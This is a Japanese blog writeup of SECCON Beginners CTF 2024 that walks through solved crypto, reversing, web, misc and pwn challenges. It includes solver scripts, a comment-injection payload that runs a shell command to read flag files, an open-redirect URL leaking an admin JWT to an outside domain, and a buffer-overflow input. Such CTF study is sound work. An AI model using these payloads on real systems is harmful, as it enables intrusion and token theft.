SECCON Beginners CTF 2024 Writeup

2024-06-15 14:00 – 2024-06-16 14:00 (JST)に開催されたSECCON Beginners CTF 2024のWriteupです。

2021, 2022, 2023に引き続き、今回も友人であるmaa氏との2人チームで出場し、1598pt獲得して全962チーム中21位でした。

目次

Writeup

Welcome (welcome)

ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}

flag送信RTA: 2位

Safe Prime (crypto)

# chall.py
import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")

q = 2p+1と表せるので n = pqq を代入すると n = pq = p(2p+1) = 2p^2+p となり、p の2次方程式で n を表せてしまうので、解の公式を用いて p を求めて復号しました。

# solver.py
import math
from Crypto.Util.number import *

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
# q = 2 * p + 1
# n = 2p^2 + p  

def solver():
    p = (-1 + math.isqrt(1 + 4 * 2 * n)) // 4
    q = 2 * p + 1
    phi = (p - 1) * (q - 1)
    d = pow(65537, -1, phi)
    m = pow(c, d, n)
    print(long_to_bytes(m))

solver()

ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

cha-ll-enge (reversing)

見たことがない形式のファイルだけど、中身を見れば何かわかるかも…?

# cha.ll.enge
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
@.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1
(略)

どうやら LLVM-IR っぽいというところまでは辿り着いたものの、どうしようかなと思いとりあえずGPT-4oに投げたら以下のようなCのコードを生成し一瞬で解いてしまいました。すごすぎる。

#include <stdio.h>
#include <stdint.h>

int main() {
    // 定数として定義されたキー
    const int32_t key[50] = {119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 
                             103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 
                             27, 122, 77, 36, 20, 122, 7};
    
    char flag[50];
    int32_t temp;

    for (int64_t i = 0; i < 49; i++) {
        int32_t xor2 = 0; // 復元には0になるはずの値を設定
        int32_t xor1 = xor2 ^ key[i + 1]; // xor1を求める
        flag[i] = (char)(xor1 ^ key[i]); // フラグの文字を求める
    }
    flag[49] = '\0'; // 文字列の終端を追加

    printf("Recovered FLAG: %s\n", flag);

    return 0;
}

※ 本大会のルールにおいてLLMの利用についての制限がないことは事前に確認済

ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}

getRank (misc)

parseInt() によりパースした結果(スコア)に Infinity (もしくは十分大きな値)を渡せば通りそうですが、Infinity を渡すとNaN に変換されてしまうため、他の方法を考える必要があります。

parseInt() の仕様を読んでみると 0x から始まる hex形式 を受け付けることがわかったので、以下のsolverでフラグを獲得。

# solver.py
import requests, json

def solver():
    url = 'https://getrank.beginners.seccon.games/'
    headers = {'Content-Type': 'application/json'}
    data = {'input': "0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}
    print(json.dumps(data))
    response = requests.post(url, headers=headers, data=json.dumps(data))
    print(response.json())

solver()

ctf4b{15_my_5c0r3_700000_b1g?}

commentator (misc)

あわせて読みたい

ほぼ上記のWriteupと同じアプローチで解決。flagの場所がわからないため一工夫必要。

$ nc commentator.beginners.seccon.games 4444
                                          
Enter your Python code (ends with __EOF__)
>>> coding: raw_unicode_escape
>>> \u000aimport os
>>> \u000aos.system("cat /flag*")
>>> __EOF__
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}thx :)

ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}

Wooorker (web)

login?next=//mydomain.com/

と入力してあげれば自分のサーバーにAdminのJWT token付きでアクセスが飛んでくるので、これを用いて /flag?token=XXX にアクセスするだけ。

ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}

simpleoverflow (pwnable)

// src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

buf のサイズよりも大きい文字列を投げることで、is_adminTrue に書き換えることができる。

$nc simpleoverflow.beginners.seccon.games 9000
name:11111111111
Hello, 11111111111

ctf4b{0n_y0ur_m4rk}

ctf4b{0n_y0ur_m4rk}

所感

過去最高順位 & web全完 めでたい 🎉

よかったらシェアしてね!
  • URLをコピーしました!
  • URLをコピーしました!

この記事を書いた人

ねことインターネットがすき

目次